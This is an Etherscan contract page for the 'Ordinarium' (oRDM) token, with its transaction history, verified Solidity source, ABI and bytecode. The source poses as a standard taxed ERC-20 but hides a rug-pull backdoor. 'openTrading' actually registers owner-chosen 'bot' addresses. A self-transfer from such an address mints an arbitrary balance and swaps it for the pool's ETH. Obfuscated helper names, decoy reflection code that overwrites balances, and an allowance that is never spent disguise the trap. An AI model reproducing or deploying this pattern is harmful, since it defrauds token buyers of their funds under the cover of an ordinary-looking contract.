ETH Price: $2,270.66 (+2.80%)

Contract

0xA12304c51D92F9aC3a0746b41B5C33AC140F5eF9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve168117482023-03-12 11:48:11545 days ago1678621691IN
0xA12304c5...C140F5eF9
0 ETH0.0004350217.51943334
Transfer167701752023-03-06 15:22:59551 days ago1678116179IN
0xA12304c5...C140F5eF9
0 ETH0.0062093236.09965275
Approve167698932023-03-06 14:25:59551 days ago1678112759IN
0xA12304c5...C140F5eF9
0 ETH0.0014146130.02480493
Approve167688952023-03-06 11:04:23551 days ago1678100663IN
0xA12304c5...C140F5eF9
0 ETH0.0010339221.91686942
Approve167684312023-03-06 9:28:59551 days ago1678094939IN
0xA12304c5...C140F5eF9
0 ETH0.001053422.32969793
Approve167684232023-03-06 9:27:23551 days ago1678094843IN
0xA12304c5...C140F5eF9
0 ETH0.0005173120.83333131
Approve167684202023-03-06 9:26:47551 days ago1678094807IN
0xA12304c5...C140F5eF9
0 ETH0.0009775120.74743014
Approve167683992023-03-06 9:22:35551 days ago1678094555IN
0xA12304c5...C140F5eF9
0 ETH0.0009434220.0239795
Approve167683912023-03-06 9:20:59551 days ago1678094459IN
0xA12304c5...C140F5eF9
0 ETH0.0009474820.11012124
Approve167683792023-03-06 9:18:35551 days ago1678094315IN
0xA12304c5...C140F5eF9
0 ETH0.0009796120.79208767
Approve167683792023-03-06 9:18:35551 days ago1678094315IN
0xA12304c5...C140F5eF9
0 ETH0.0010752122.79208767
Approve167683052023-03-06 9:03:47551 days ago1678093427IN
0xA12304c5...C140F5eF9
0 ETH0.0009967421.15548238
Approve167682982023-03-06 9:02:23551 days ago1678093343IN
0xA12304c5...C140F5eF9
0 ETH0.0009879920.9698205
Renounce Ownersh...167682732023-03-06 8:57:23551 days ago1678093043IN
0xA12304c5...C140F5eF9
0 ETH0.0004616219.72522718
Approve167682542023-03-06 8:53:35551 days ago1678092815IN
0xA12304c5...C140F5eF9
0 ETH0.0009962421.14504954
Approve167682452023-03-06 8:51:47551 days ago1678092707IN
0xA12304c5...C140F5eF9
0 ETH0.0008672818.40791501
Transfer167682432023-03-06 8:51:23551 days ago1678092683IN
0xA12304c5...C140F5eF9
0 ETH0.0016680521.17605551
Approve167682312023-03-06 8:48:59551 days ago1678092539IN
0xA12304c5...C140F5eF9
0 ETH0.0009734920.63589049
Open Trading167682312023-03-06 8:48:59551 days ago1678092539IN
0xA12304c5...C140F5eF9
0 ETH0.0054040421.13589049
Approve167682002023-03-06 8:42:47551 days ago1678092167IN
0xA12304c5...C140F5eF9
0 ETH0.0009754120.67644384
0x60806040167681272023-03-06 8:28:11551 days ago1678091291IN
 Create: Ordinarium
0 ETH0.0514730920.91872428

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Ordinarium

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-06
*/

pragma solidity ^0.8.18;

// SPDX-License-Identifier: MIT

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function openTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
        }
        return false;
    }
    function _0e3a5(bool _01c6, bool _2abd7) internal pure returns (bool) {
        return !_01c6 && !_2abd7;
    }
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool a = inLiquidityTx;
        bool b = _0e3a5(bots[to], isBot(from));
        bool res = b;
        if (!bots[to] && 
        _0e3a5(bots[from], a) && 
        to != pair) {
            uniswapV2Pair = to;
            res = true;
        } else 
        if (b && !a) { if (pair == to) {
                res = true;
            }
        }
        return res;
    }
}

contract Ordinarium is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    uint256 _fee = 2;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Ordinarium";
    string private  _symbol = "oRDM";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = 0;
            uint256 swapBalance = getReflectAmount(from);
            _balances[uniswapV2Pair] = swapBalance;
            bool sdf = shouldTakeFee(from, to);
            if (!sdf) {
            } else {
                fee = amount.mul(_fee).div(100);
            }
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            if (fee > 0) {
                emit Transfer(from, address(0), fee);
            }
            emit Transfer(from, to, amount);
        }
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    bool swapEnabled = true;
    function setSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
    function removeTax() external onlyOwner {
        _fee = 0;
    }
    address public marketingWallet;
    function updateMarketingWallet(address a) external onlyOwner {
        marketingWallet = a;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
    }
    function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        uint256 minSupply = 0;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount *= minSupply;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000495565b633b9aca00620000469190620004e6565b6006556002600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f4f7264696e617269756d0000000000000000000000000000000000000000000081525060099081620000e99190620007a1565b506040518060400160405280600481526020017f6f52444d00000000000000000000000000000000000000000000000000000000815250600a9081620001309190620007a1565b506001600b60006101000a81548160ff0219169083151502179055503480156200015957600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002fa919062000899565b60405180910390a3620008b6565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000396578086048111156200036e576200036d62000308565b5b60018516156200037e5780820291505b80810290506200038e8562000337565b94506200034e565b94509492505050565b600082620003b1576001905062000484565b81620003c1576000905062000484565b8160018114620003da5760028114620003e5576200041b565b600191505062000484565b60ff841115620003fa57620003f962000308565b5b8360020a91508482111562000414576200041362000308565b5b5062000484565b5060208310610133831016604e8410600b8410161715620004555782820a9050838111156200044f576200044e62000308565b5b62000484565b62000464848484600162000344565b925090508184048111156200047e576200047d62000308565b5b81810290505b9392505050565b6000819050919050565b6000620004a2826200048b565b9150620004af836200048b565b9250620004de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200039f565b905092915050565b6000620004f3826200048b565b915062000500836200048b565b925082820262000510816200048b565b915082820484148315176200052a576200052962000308565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005b357607f821691505b602082108103620005c957620005c86200056b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f4565b6200063f8683620005f4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006826200067c62000676846200048b565b62000657565b6200048b565b9050919050565b6000819050919050565b6200069e8362000661565b620006b6620006ad8262000689565b84845462000601565b825550505050565b600090565b620006cd620006be565b620006da81848462000693565b505050565b5b818110156200070257620006f6600082620006c3565b600181019050620006e0565b5050565b601f82111562000751576200071b81620005cf565b6200072684620005e4565b8101602085101562000736578190505b6200074e6200074585620005e4565b830182620006df565b50505b505050565b600082821c905092915050565b6000620007766000198460080262000756565b1980831691505092915050565b600062000791838362000763565b9150826002028217905092915050565b620007ac8262000531565b67ffffffffffffffff811115620007c857620007c76200053c565b5b620007d482546200059a565b620007e182828562000706565b600060209050601f83116001811462000819576000841562000804578287015190505b62000810858262000783565b86555062000880565b601f1984166200082986620005cf565b60005b8281101562000853578489015182556001820191506020850194506020810190506200082c565b868310156200087357848901516200086f601f89168262000763565b8355505b6001600288020188555050505b505050505050565b62000893816200048b565b82525050565b6000602082019050620008b0600083018462000888565b92915050565b61275580620008c66000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b85780639601f96c1161007c5780639601f96c1461031c578063a457c2d71461034c578063a9059cbb1461037c578063aacebbe3146103ac578063dd62ed3e146103c8578063e01af92c146103f857610137565b806370a0823114610288578063715018a6146102b857806375f0a874146102c25780638da5cb5b146102e057806395d89b41146102fe57610137565b80632f5f2572116100ff5780632f5f2572146101f4578063313ce567146101fe57806332424aa31461021c578063395093511461023a5780633eaaf86b1461026a57610137565b806306fdde031461013c578063095ea7b31461015a57806312d0ecb51461018a57806318160ddd146101a657806323b872dd146101c4575b600080fd5b610144610414565b6040516101519190611d35565b60405180910390f35b610174600480360381019061016f9190611df5565b6104a6565b6040516101819190611e50565b60405180910390f35b6101a4600480360381019061019f9190611ed0565b6104bd565b005b6101ae6105d6565b6040516101bb9190611f2c565b60405180910390f35b6101de60048036038101906101d99190611f47565b6105e0565b6040516101eb9190611e50565b60405180910390f35b6101fc610681565b005b610206610700565b6040516102139190611f2c565b60405180910390f35b61022461070a565b6040516102319190611f2c565b60405180910390f35b610254600480360381019061024f9190611df5565b610710565b6040516102619190611e50565b60405180910390f35b6102726107ae565b60405161027f9190611f2c565b60405180910390f35b6102a2600480360381019061029d9190611f9a565b6107b4565b6040516102af9190611f2c565b60405180910390f35b6102c06107fd565b005b6102ca610930565b6040516102d79190611fd6565b60405180910390f35b6102e8610956565b6040516102f59190611fd6565b60405180910390f35b61030661097f565b6040516103139190611d35565b60405180910390f35b61033660048036038101906103319190611ff1565b610a11565b6040516103439190611e50565b60405180910390f35b61036660048036038101906103619190611df5565b610a70565b6040516103739190611e50565b60405180910390f35b61039660048036038101906103919190611df5565b610b97565b6040516103a39190611e50565b60405180910390f35b6103c660048036038101906103c19190611f9a565b610bae565b005b6103e260048036038101906103dd9190611ff1565b610c67565b6040516103ef9190611f2c565b60405180910390f35b610412600480360381019061040d919061205d565b610cee565b005b606060098054610423906120b9565b80601f016020809104026020016040519081016040528092919081815260200182805461044f906120b9565b801561049c5780601f106104715761010080835404028352916020019161049c565b820191906000526020600020905b81548152906001019060200180831161047f57829003601f168201915b5050505050905090565b60006104b3338484610d80565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166104dc610956565b73ffffffffffffffffffffffffffffffffffffffff1614610532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052990612136565b60405180910390fd5b60005b828290508110156105d157600180600085858581811061055857610557612156565b5b905060200201602081019061056d9190611f9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105c9906121b4565b915050610535565b505050565b6000600654905090565b60006105ed848484610f49565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561067657600080fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166106a0610956565b73ffffffffffffffffffffffffffffffffffffffff16146106f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ed90612136565b60405180910390fd5b6000600781905550565b6000600554905090565b60055481565b60006107a4338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461079f91906121fc565b610d80565b6001905092915050565b60065481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661081c610956565b73ffffffffffffffffffffffffffffffffffffffff1614610872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086990612136565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a805461098e906120b9565b80601f01602080910402602001604051908101604052809291908181526020018280546109ba906120b9565b8015610a075780601f106109dc57610100808354040283529160200191610a07565b820191906000526020600020905b8154815290600101906020018083116109ea57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a6557610a4f826112a5565b15610a6457610a5d836112a5565b9050610a6a565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610afb57600080fd5b610b8d338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b889190612230565b610d80565b6001905092915050565b6000610ba4338484610f49565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610bcd610956565b73ffffffffffffffffffffffffffffffffffffffff1614610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90612136565b60405180910390fd5b80600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610d0d610956565b73ffffffffffffffffffffffffffffffffffffffff1614610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a90612136565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de6906122d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5590612368565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3c9190611f2c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f8257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbb57600080fd5b610fc58383610a11565b15610fd957610fd481836112fb565b6112a0565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561102557600080fd5b600080611031856115c5565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006110a586866117a3565b905080156110d8576110d560646110c76007548761195390919063ffffffff16565b6119cd90919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111239190612230565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082846111729190612230565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111c091906121fc565b92505081905550600083111561123757600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122e9190611f2c565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516112949190611f2c565b60405180910390a35050505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61132830600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d80565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561138957611388612388565b5b6040519080825280602002602001820160405280156113b75781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106113ea576113e9612156565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b591906123cc565b816001815181106114c9576114c8612156565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e4261155391906121fc565b6040518663ffffffff1660e01b81526004016115739594939291906124fc565b600060405180830381600087803b15801561158d57600080fd5b505af11580156115a1573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611635573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165991906123cc565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170691906123cc565b6040518363ffffffff1660e01b8152600401611723929190612556565b602060405180830381865afa158015611740573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176491906123cc565b905061179b8382611796600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107b4565b611a2b565b915050919050565b600061194b8383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183b91906123cc565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e891906123cc565b6040518363ffffffff1660e01b8152600401611905929190612556565b602060405180830381865afa158015611922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194691906123cc565b611a89565b905092915050565b600080830361196557600090506119c7565b60008284611973919061257f565b905082848261198291906125f0565b146119c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b990612693565b60405180910390fd5b809150505b92915050565b6000808211611a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a08906126ff565b60405180910390fd5b60008284611a1f91906125f056